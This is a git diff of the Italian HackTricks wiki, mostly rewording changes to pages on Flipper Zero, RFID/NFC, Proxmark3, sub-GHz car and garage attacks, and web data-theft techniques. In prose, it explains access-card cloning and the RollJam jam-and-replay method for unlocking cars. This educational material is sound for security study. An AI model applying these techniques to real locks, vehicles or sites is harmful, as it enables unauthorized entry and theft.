![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Ricerca Segnali**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Riconoscimento Modelli**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Rilevatore di Segnale**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipolazione IQ**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Ricerca Segnale**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Riconoscimento Modelli**_ | | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacchi**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Playlist di Segnali**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Galleria Immagini**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacchi**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Playlist di Segnale**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Galleria Immagini**_ | | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Creazione Pacchetti**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Integrazione Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Calcolatore CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Registrazione**_ | **Hardware** diff --git a/src/todo/radio-hacking/flipper-zero/README.md b/src/todo/radio-hacking/flipper-zero/README.md index c59b72217..fb573831b 100644 --- a/src/todo/radio-hacking/flipper-zero/README.md +++ b/src/todo/radio-hacking/flipper-zero/README.md @@ -13,6 +13,6 @@ Con [**Flipper Zero**](https://flipperzero.one/) puoi: - **Usarlo come chiave di sicurezza (U2F)** - **Giocare a Snake** -**Altre risorse di Flipper Zero in** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero) +**Altre risorse di Flipper Zero in** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index 35cea0785..0db9f2028 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -20,7 +20,7 @@ Per ulteriori informazioni su questi tipi di tag [**leggi questa introduzione**] Cerca di **leggere** le informazioni della scheda. Poi può **emularle**. > [!WARNING] -> Nota che alcuni citofoni cercano di proteggersi dalla duplicazione delle chiavi inviando un comando di scrittura prima della lettura. Se la scrittura ha successo, quel tag è considerato falso. Quando Flipper emula RFID non c'è modo per il lettore di distinguerlo dall'originale, quindi non si verificano tali problemi. +> Nota che alcuni citofoni cercano di proteggersi dalla duplicazione delle chiavi inviando un comando di scrittura prima di leggere. Se la scrittura ha successo, quel tag è considerato falso. Quando Flipper emula RFID non c'è modo per il lettore di distinguerlo dall'originale, quindi non si verificano tali problemi. ### Add Manually @@ -32,8 +32,8 @@ A volte, quando ottieni una scheda, troverai l'ID (o parte di esso) scritto sull - **EM Marin** -Ad esempio, in questa scheda EM-Marin nella scheda fisica è possibile **leggere gli ultimi 3 dei 5 byte in chiaro**.\ -Gli altri 2 possono essere forzati a tentativi se non riesci a leggerli dalla scheda. +Ad esempio, in questa scheda EM-Marin nella scheda fisica è possibile **leggere gli ultimi 3 di 5 byte in chiaro**.\ +Gli altri 2 possono essere forzati a bruteforce se non puoi leggerli dalla scheda.
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md index 3cc9bf61c..49d814bb5 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Intro +## Introduzione Per ulteriori informazioni su come funziona l'infrarosso, controlla: @@ -30,7 +30,7 @@ Tale attacco di forza bruta richiede tempo. Più grande è il dizionario, più a ### Impara Nuovo Telecomando -È possibile **catturare un segnale infrarosso** con Flipper Zero. Se **trova il segnale nel database**, Flipper **saprà automaticamente a quale dispositivo si riferisce** e ti permetterà di interagire con esso.\ +È possibile **catturare un segnale infrarosso** con Flipper Zero. Se **trova il segnale nel database**, Flipper saprà automaticamente **a quale dispositivo appartiene** e ti permetterà di interagire con esso.\ Se non lo trova, Flipper può **memorizzare** il **segnale** e ti permetterà di **riprodurlo**. ## Riferimenti diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index 6ebf284de..53b0c810b 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -52,7 +52,7 @@ Per un'introduzione sulle NFC [**leggi questa pagina**](../pentesting-rfid.md#hi ### Leggi -Flipper Zero può **leggere schede NFC**, tuttavia, **non comprende tutti i protocolli** basati su ISO 14443. Tuttavia, poiché **UID è un attributo a basso livello**, potresti trovarti in una situazione in cui **UID è già stato letto, ma il protocollo di trasferimento dati ad alto livello è ancora sconosciuto**. Puoi leggere, emulare e inserire manualmente UID utilizzando Flipper per i lettori primitivi che usano UID per l'autorizzazione. +Flipper Zero può **leggere schede NFC**, tuttavia, **non comprende tutti i protocolli** basati su ISO 14443. Tuttavia, poiché **UID è un attributo a basso livello**, potresti trovarti in una situazione in cui **UID è già stato letto, ma il protocollo di trasferimento dati ad alto livello è ancora sconosciuto**. Puoi leggere, emulare e inserire manualmente l'UID utilizzando Flipper per i lettori primitivi che utilizzano l'UID per l'autorizzazione. #### Lettura dell'UID VS Lettura dei Dati Interni diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md index fa8ade269..84a21b84b 100644 --- a/src/todo/radio-hacking/ibutton.md +++ b/src/todo/radio-hacking/ibutton.md @@ -4,7 +4,7 @@ ## Intro -iButton è un nome generico per una chiave di identificazione elettronica racchiusa in un **contenitore metallico a forma di moneta**. È anche chiamata **Dallas Touch** Memory o memoria a contatto. Anche se spesso viene erroneamente chiamata chiave “magnetica”, non c'è **nulla di magnetico** in essa. Infatti, un **microchip** a tutti gli effetti che opera su un protocollo digitale è nascosto all'interno. +iButton è un nome generico per una chiave di identificazione elettronica racchiusa in un **contenitore metallico a forma di moneta**. È anche chiamata **Dallas Touch** Memory o memoria a contatto. Anche se spesso viene erroneamente definita come una chiave “magnetica”, non c'è **nulla di magnetico** in essa. Infatti, un **microchip** a tutti gli effetti che opera su un protocollo digitale è nascosto all'interno.
diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md index 51f31b22f..4324f8f87 100644 --- a/src/todo/radio-hacking/infrared.md +++ b/src/todo/radio-hacking/infrared.md @@ -6,7 +6,7 @@ **La luce infrarossa è invisibile agli esseri umani**. La lunghezza d'onda IR va da **0,7 a 1000 micron**. I telecomandi domestici utilizzano un segnale IR per la trasmissione dei dati e operano nella gamma di lunghezze d'onda di 0,75..1,4 micron. Un microcontrollore nel telecomando fa lampeggiare un LED infrarosso con una frequenza specifica, trasformando il segnale digitale in un segnale IR. -Per ricevere i segnali IR si utilizza un **fotorecettore**. Esso **converte la luce IR in impulsi di tensione**, che sono già **segnali digitali**. Di solito, c'è un **filtro di luce scura all'interno del ricevitore**, che lascia **passare solo la lunghezza d'onda desiderata** e elimina il rumore. +Per ricevere i segnali IR si utilizza un **fotorecettore**. Esso **converte la luce IR in impulsi di tensione**, che sono già **segnali digitali**. Di solito, c'è un **filtro di luce scura all'interno del ricevitore**, che lascia **passare solo la lunghezza d'onda desiderata** e taglia il rumore. ### Varietà di protocolli IR @@ -26,7 +26,7 @@ I bit sono codificati modulando la durata dello spazio tra gli impulsi. La largh **2. Codifica della larghezza degli impulsi** -I bit sono codificati modulando la larghezza dell'impulso. La larghezza dello spazio dopo l'esplosione dell'impulso è costante. +I bit sono codificati mediante modulazione della larghezza dell'impulso. La larghezza dello spazio dopo l'esplosione dell'impulso è costante.
diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index 4e2fdb309..1eb13b767 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -6,7 +6,7 @@ **Radio Frequency Identification (RFID)** è la soluzione radio a corto raggio più popolare. Viene solitamente utilizzata per memorizzare e trasmettere informazioni che identificano un'entità. -Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attivo)**, come una batteria integrata, o ricevere la propria energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**). +Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attivo)**, come una batteria integrata, o ricevere la sua energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**). ### Classi @@ -21,7 +21,7 @@ EPCglobal suddivide i tag RFID in sei categorie. Un tag in ciascuna categoria ha ### Informazioni memorizzate nei tag RFID -La memoria di un tag RFID di solito memorizza quattro tipi di dati: i **dati di identificazione**, che **identificano** l'**entità** a cui il tag è attaccato (questi dati includono campi definiti dall'utente, come conti bancari); i **dati supplementari**, che forniscono **ulteriori** **dettagli** riguardo all'entità; i **dati di controllo**, utilizzati per la **configurazione** interna del tag; e i **dati del produttore** del tag, che contengono un Identificatore Unico del tag (**UID**) e dettagli riguardanti la **produzione**, il **tipo** e il **fornitore** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono differire in base al fornitore del tag. +La memoria di un tag RFID di solito memorizza quattro tipi di dati: i **dati di identificazione**, che **identificano** l'**entità** a cui è attaccato il tag (questi dati includono campi definiti dall'utente, come conti bancari); i **dati supplementari**, che forniscono **ulteriori** **dettagli** riguardo all'entità; i **dati di controllo**, utilizzati per la **configurazione** interna del tag; e i **dati del produttore** del tag, che contengono un Identificatore Unico del tag (**UID**) e dettagli riguardanti la **produzione**, il **tipo** e il **fornitore** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono differire in base al fornitore del tag. Lo standard ISO specifica il valore dell'Identificatore della Famiglia di Applicazione (**AFI**), un codice che indica il **tipo di oggetto** a cui appartiene il tag. Un altro registro importante, anch'esso specificato dall'ISO, è l'Identificatore del Formato di Memorizzazione dei Dati (**DSFID**), che definisce la **organizzazione logica dei dati utente**. @@ -51,7 +51,7 @@ In realtà, ci sono molti più protocolli a bassa frequenza. Ma utilizzano tutti ### Attacco -Puoi **attaccare questi tag con il Flipper Zero**: +Puoi **attaccare questi Tag con il Flipper Zero**: {{#ref}} flipper-zero/fz-125khz-rfid.md @@ -68,7 +68,7 @@ I **tag ad alta frequenza 13.56 MHz sono un insieme di standard e protocolli**. In parole semplici, l'architettura NFC funziona così: il protocollo di trasmissione è scelto dall'azienda che produce le carte e implementato sulla base del livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A. -Flipper può interagire sia con il protocollo ISO 14443 a basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono l'NFC merita un articolo separato che prevediamo di pubblicare in seguito. +Flipper può interagire sia con il protocollo ISO 14443 di basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono l'NFC merita un articolo separato che prevediamo di pubblicare in seguito. Tutte le carte ad alta frequenza basate sullo standard ISO 14443-A hanno un ID chip unico. Funziona come il numero di serie della carta, come l'indirizzo MAC di una scheda di rete. **Di solito, l'UID è lungo 4 o 7 byte**, ma può raramente arrivare **fino a 10**. Gli UID non sono un segreto e sono facilmente leggibili, **a volte anche stampati sulla carta stessa**. @@ -80,7 +80,7 @@ Ci sono molti sistemi di controllo accessi che si basano sull'UID per **autentic ### Attacco -Puoi **attaccare questi tag con il Flipper Zero**: +Puoi **attaccare questi Tag con il Flipper Zero**: {{#ref}} flipper-zero/fz-nfc.md diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md index 25106123d..21880008c 100644 --- a/src/todo/radio-hacking/proxmark-3.md +++ b/src/todo/radio-hacking/proxmark-3.md @@ -49,10 +49,10 @@ Con queste informazioni potresti provare a cercare informazioni sulla scheda e s ### Script -Il software Proxmark3 viene fornito con un elenco precaricato di **script di automazione** che puoi utilizzare per eseguire semplici operazioni. Per recuperare l'elenco completo, utilizza il comando `script list`. Successivamente, utilizza il comando `script run`, seguito dal nome dello script: +Il software Proxmark3 viene fornito con un elenco precaricato di **script di automazione** che puoi utilizzare per eseguire semplici attività. Per recuperare l'elenco completo, utilizza il comando `script list`. Successivamente, utilizza il comando `script run`, seguito dal nome dello script: ``` proxmark3> script run mfkeys ``` -Puoi creare uno script per **fuzz tag readers**, quindi copiando i dati di una **carta valida** basta scrivere uno **script Lua** che **randomizzi** uno o più **byte** casuali e controlli se il **reader si blocca** con qualsiasi iterazione. +Puoi creare uno script per **fuzz tag readers**, quindi copiando i dati di una **carta valida** basta scrivere uno **script Lua** che **randomizzi** uno o più **byte** casuali e controlli se il **reader si blocca** con qualche iterazione. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md index 466aba1d0..b8f5c478a 100644 --- a/src/todo/radio-hacking/sub-ghz-rf.md +++ b/src/todo/radio-hacking/sub-ghz-rf.md @@ -4,7 +4,7 @@ ## Garage Doors -I telecomandi per porte da garage operano tipicamente a frequenze nell'intervallo di 300-190 MHz, con le frequenze più comuni che sono 300 MHz, 310 MHz, 315 MHz e 390 MHz. Questo intervallo di frequenze è comunemente utilizzato per i telecomandi delle porte da garage perché è meno affollato rispetto ad altre bande di frequenza ed è meno probabile che subisca interferenze da altri dispositivi. +I telecomandi per porte da garage operano tipicamente a frequenze nella gamma di 300-190 MHz, con le frequenze più comuni che sono 300 MHz, 310 MHz, 315 MHz e 390 MHz. Questa gamma di frequenze è comunemente utilizzata per i telecomandi delle porte da garage perché è meno affollata rispetto ad altre bande di frequenza ed è meno probabile che subisca interferenze da altri dispositivi. ## Car Doors @@ -55,17 +55,17 @@ Fondamentalmente, ascolti il pulsante e **catturi il segnale mentre il telecoman Un attaccante potrebbe **disturbare il segnale vicino al veicolo o al ricevitore** in modo che il **ricevitore non possa effettivamente 'sentire' il codice**, e una volta che ciò accade puoi semplicemente **catturare e riprodurre** il codice quando hai smesso di disturbare. -La vittima a un certo punto utilizzerà le **chiavi per chiudere l'auto**, ma poi l'attacco avrà **registrato abbastanza "codici di chiusura della porta"** che sperabilmente potrebbero essere inviati per aprire la porta (potrebbe essere necessaria **una modifica di frequenza** poiché ci sono auto che utilizzano gli stessi codici per aprire e chiudere ma ascoltano entrambi i comandi a frequenze diverse). +La vittima a un certo punto utilizzerà le **chiavi per chiudere l'auto**, ma poi l'attacco avrà **registrato abbastanza "codici di chiusura porta"** che sperabilmente potrebbero essere inviati per aprire la porta (un **cambiamento di frequenza potrebbe essere necessario** poiché ci sono auto che utilizzano gli stessi codici per aprire e chiudere ma ascoltano entrambi i comandi a frequenze diverse). > [!WARNING] > **Il disturbo funziona**, ma è evidente poiché se la **persona che chiude l'auto semplicemente testa le porte** per assicurarsi che siano chiuse, noterebbe che l'auto è sbloccata. Inoltre, se fossero a conoscenza di tali attacchi, potrebbero anche ascoltare il fatto che le porte non hanno mai emesso il **suono** di chiusura o che le **luci** dell'auto non hanno mai lampeggiato quando hanno premuto il pulsante 'chiudi'. ### **Code Grabbing Attack ( aka ‘RollJam’ )** -Questa è una **tecnica di disturbo più furtiva**. L'attaccante disturberà il segnale, quindi quando la vittima prova a chiudere la porta non funzionerà, ma l'attaccante **registrerà questo codice**. Poi, la vittima **proverà a chiudere di nuovo l'auto** premendo il pulsante e l'auto **registrerà questo secondo codice**.\ -Immediatamente dopo, l'**attaccante può inviare il primo codice** e l'**auto si chiuderà** (la vittima penserà che la seconda pressione l'abbia chiusa). Poi, l'attaccante sarà in grado di **inviare il secondo codice rubato per aprire** l'auto (supponendo che un **codice "chiudi auto" possa essere utilizzato anche per aprirla**). Potrebbe essere necessaria una modifica di frequenza (poiché ci sono auto che utilizzano gli stessi codici per aprire e chiudere ma ascoltano entrambi i comandi a frequenze diverse). +Questa è una tecnica di **disturbo stealth**. L'attaccante disturberà il segnale, quindi quando la vittima prova a chiudere la porta non funzionerà, ma l'attaccante **registrerà questo codice**. Poi, la vittima **proverà a chiudere di nuovo l'auto** premendo il pulsante e l'auto **registrerà questo secondo codice**.\ +Immediatamente dopo, l'**attaccante può inviare il primo codice** e l'**auto si chiuderà** (la vittima penserà che la seconda pressione l'abbia chiusa). Poi, l'attaccante sarà in grado di **inviare il secondo codice rubato per aprire** l'auto (supponendo che un **codice "chiudi auto" possa essere utilizzato anche per aprirla**). Un cambiamento di frequenza potrebbe essere necessario (poiché ci sono auto che utilizzano gli stessi codici per aprire e chiudere ma ascoltano entrambi i comandi a frequenze diverse). -L'attaccante può **disturbare il ricevitore dell'auto e non il suo ricevitore** perché se il ricevitore dell'auto sta ascoltando, ad esempio, una larghezza di banda di 1MHz, l'attaccante non **disturberà** la frequenza esatta utilizzata dal telecomando ma **una vicina in quello spettro** mentre il **ricevitore dell'attaccante ascolterà in un intervallo più ristretto** dove può ascoltare il segnale del telecomando **senza il segnale di disturbo**. +L'attaccante può **disturbare il ricevitore dell'auto e non il suo ricevitore** perché se il ricevitore dell'auto sta ascoltando, ad esempio, una banda larga di 1MHz, l'attaccante non **disturberà** la frequenza esatta utilizzata dal telecomando ma **una vicina in quello spettro** mentre il **ricevitore dell'attaccante ascolterà in un intervallo più piccolo** dove può ascoltare il segnale del telecomando **senza il segnale di disturbo**. > [!WARNING] > Altre implementazioni viste nelle specifiche mostrano che il **codice rotolante è una porzione** del codice totale inviato. Ad esempio, il codice inviato è una **chiave a 24 bit** dove i primi **12 sono il codice rotolante**, gli **ultimi 8 sono il comando** (come chiudere o aprire) e gli ultimi 4 sono il **checksum**. I veicoli che implementano questo tipo sono anche naturalmente suscettibili poiché l'attaccante deve semplicemente sostituire il segmento del codice rotolante per poter **utilizzare qualsiasi codice rotolante su entrambe le frequenze**. diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md index 7c4b94c8d..c2b9defb8 100644 --- a/src/todo/rust-basics.md +++ b/src/todo/rust-basics.md @@ -267,7 +267,7 @@ println!("{:?}", apple); ``` #### Thread -In questo caso passeremo al thread una variabile che sarà in grado di modificare. +In questo caso passeremo al thread una variabile che sarà in grado di modificare ```rust fn main() { let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 })); diff --git a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md index ef03188d2..8c1297adc 100644 --- a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md @@ -6,7 +6,7 @@ Se a un certo punto trovi una **pagina web che ti presenta informazioni sensibil Qui ti presento i principali modi per cercare di ottenerla: - [**CORS bypass**](../pentesting-web/cors-bypass.md): Se riesci a bypassare le intestazioni CORS, sarai in grado di rubare le informazioni eseguendo una richiesta Ajax per una pagina malevola. -- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Se trovi una vulnerabilità XSS nella pagina, potresti essere in grado di abusarne per rubare le informazioni. +- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Se trovi una vulnerabilità XSS sulla pagina, potresti essere in grado di abusarne per rubare le informazioni. - [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari. - [**Clickjaking**](../pentesting-web/clickjacking.md): Se non c'è protezione contro questo attacco, potresti essere in grado di ingannare l'utente per inviarti i dati sensibili (un esempio [qui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md index 3eb8beb3b..289041145 100644 --- a/src/todo/test-llms.md +++ b/src/todo/test-llms.md @@ -12,7 +12,7 @@ LangChain è un framework progettato per costruire applicazioni con LLM. Permett ### [**LitGPT**](https://github.com/Lightning-AI/litgpt) -LitGPT è un progetto sviluppato da Lightning AI che sfrutta il framework Lightning per facilitare l'addestramento, il fine-tuning e la distribuzione di modelli basati su GPT. Si integra senza problemi con altri strumenti di Lightning AI, fornendo flussi di lavoro ottimizzati per gestire modelli linguistici su larga scala con prestazioni e scalabilità migliorate. +LitGPT è un progetto sviluppato da Lightning AI che sfrutta il framework Lightning per facilitare l'addestramento, il fine-tuning e la distribuzione di modelli basati su GPT. Si integra senza soluzione di continuità con altri strumenti di Lightning AI, fornendo flussi di lavoro ottimizzati per gestire modelli linguistici su larga scala con prestazioni e scalabilità migliorate. ### [**LitServe**](https://github.com/Lightning-AI/LitServe) @@ -32,7 +32,7 @@ Offre diverse sezioni come: * **Modelli**: Un vasto repository di **modelli di apprendimento automatico pre-addestrati** dove gli utenti possono navigare, scaricare e integrare modelli per vari compiti come generazione di testo, traduzione, riconoscimento delle immagini e altro. * **Dataset:** Una **collezione completa di dataset** utilizzati per addestrare e valutare modelli. Facilita l'accesso a fonti di dati diverse, consentendo agli utenti di trovare e utilizzare dati per i loro specifici progetti di apprendimento automatico. -* **Spazi:** Una piattaforma per ospitare e condividere **applicazioni di apprendimento automatico interattive** e dimostrazioni. Permette agli sviluppatori di **mostrare** i loro modelli in azione, creare interfacce user-friendly e collaborare con altri condividendo dimostrazioni dal vivo. +* **Spazi:** Una piattaforma per ospitare e condividere **applicazioni interattive di apprendimento automatico** e dimostrazioni. Permette agli sviluppatori di **mostrare** i loro modelli in azione, creare interfacce user-friendly e collaborare con altri condividendo dimostrazioni dal vivo. ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/) diff --git a/src/welcome/about-the-author.md b/src/welcome/about-the-author.md index 88d0ecca6..d7dbb213e 100644 --- a/src/welcome/about-the-author.md +++ b/src/welcome/about-the-author.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -### Ciao!! +### Hello!! Prima di tutto, è necessario indicare che tutti i **crediti delle tecniche provenienti da ricerche di altri siti appartengono agli autori originali** (ci sono riferimenti nelle pagine). Complimenti a ogni ricerca che condivide conoscenze per migliorare la sicurezza di internet. -HackTricks è un Wiki educativo che compila conoscenze sulla **cyber-sicurezza** guidato da Carlos con centinaia di collaboratori! È una **grande raccolta di trucchi di hacking** che viene aggiornata dalla comunità il più possibile per mantenerla aggiornata. Se trovi qualcosa di mancante o obsoleto, per favore, invia una **Pull Request** a [**Hacktricks Github**](https://github.com/carlospolop/hacktricks)! +HackTricks è un Wiki educativo che raccoglie conoscenze sulla **cyber-sicurezza** guidato da Carlos con centinaia di collaboratori! È una **grande collezione di trucchi di hacking** che viene aggiornata dalla comunità il più possibile per mantenerla attuale. Se trovi qualcosa che manca o è obsoleto, per favore, invia una **Pull Request** a [**Hacktricks Github**](https://github.com/carlospolop/hacktricks)! HackTricks è anche un wiki dove **molte ricerche condividono anche le loro ultime scoperte**, quindi è un ottimo posto per rimanere aggiornati sulle ultime tecniche di hacking. diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 833ad5a7a..3be3de09d 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -13,7 +13,7 @@ > - **ARCHIVIARE** tecniche di **hacking** fantastiche che la comunità pubblica dando ai **AUTORI ORIGINALI** tutti i **crediti**. > - **Non vogliamo il credito da altre persone**, vogliamo solo archiviare trucchi interessanti per tutti. > - Scriviamo anche **le nostre ricerche** in HackTricks. -> - In diversi casi scriveremo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli. +> - In diversi casi scriveremo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per ulteriori dettagli. > - **ORGANIZZARE** tutte le tecniche di hacking nel libro in modo che siano **PIÙ ACCESSIBILI** > - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** affinché le persone possano **imparare più velocemente** @@ -66,19 +66,19 @@ url = {\url{https://book.hacktricks.xyz/specific-page}}, **Preferirei di no**. Questo **non avrà beneficio per nessuno** poiché tutto il **contenuto è già disponibile pubblicamente** nei libri ufficiali di HackTricks gratuitamente. -Se temi che possa scomparire, basta forkare su Github o scaricarlo, come ho detto è già gratuito. +Se temi che possa scomparire, basta forkare su Github o scaricarlo, come ho detto, è già gratuito. > [!WARNING] > > - **Perché hai sponsor? I libri di HackTricks sono a scopo commerciale?** -Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, di nuovo, **GRATUITO**. +Il primo **valore di HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, di nuovo, **GRATUITO**. Se pensi che i libri di HackTricks siano fatti per **scopi commerciali**, ti sbagli **COMPLETAMENTE**. Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla comunità la possibilità di apprezzare il nostro lavoro** se lo desiderano. Pertanto, offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** per sponsorizzare HackTricks e **avere alcune pubblicità** nel libro, con le **pubblicità** sempre posizionate in luoghi che le rendono **visibili** ma **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto. -Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con contenuti molto inferiori a HackTricks, perché HackTricks non è fatto per scopi commerciali. +Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto per scopi commerciali. > [!CAUTION] > @@ -102,7 +102,7 @@ Tuttavia, se desideri ancora che il contenuto del tuo blog venga rimosso da Hack > > - **Cosa devo fare se trovo contenuto copiato e incollato in HackTricks?** -Noi **diamo sempre credito agli autori originali**. Se trovi una pagina con contenuto copiato e incollato senza la fonte originale citata, faccelo sapere e noi **lo rimuoveremo**, **aggiungeremo il link prima del testo**, o **riscriveremo aggiungendo il link**. +Noi **diamo sempre il credito agli autori originali**. Se trovi una pagina con contenuto copiato e incollato senza la fonte originale citata, faccelo sapere e noi **lo rimuoveremo**, **aggiungeremo il link prima del testo**, o **riscriveremo aggiungendo il link**. ## LICENSE @@ -116,7 +116,7 @@ Copyright © Tutti i diritti riservati, salvo diversa indicazione. #### Termini Aggiuntivi: -- Contenuto di Terzi: Alcune parti di questo blog/libro possono includere contenuti di altre fonti, come estratti di altri blog o pubblicazioni. L'uso di tali contenuti avviene secondo i principi di uso leale o con esplicita autorizzazione dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante i contenuti di terzi. +- Contenuto di Terzi: Alcune parti di questo blog/libro possono includere contenuti di altre fonti, come estratti di altri blog o pubblicazioni. L'uso di tali contenuti è fatto secondo i principi di uso equo o con esplicita autorizzazione dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante il contenuto di terzi. - Autorialità: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Ti incoraggiamo ad attribuire questo lavoro all'autore quando lo condividi o lo adatti. #### Esenzioni: @@ -130,7 +130,7 @@ Questa licenza non concede alcun diritto di marchio o branding in relazione al c ## **Disclaimer** > [!CAUTION] -> Questo libro, 'HackTricks,' è destinato a scopi educativi e informativi solo. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non fanno dichiarazioni o garanzie di alcun tipo, espresse o implicite, riguardo alla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, prodotti, servizi o grafica correlata contenuta in questo libro. Qualsiasi affidamento che poni su tali informazioni è quindi a tuo rischio esclusivo. +> Questo libro, 'HackTricks,' è destinato a scopi educativi e informativi solo. Il contenuto di questo libro è fornito su base 'così com'è', e gli autori 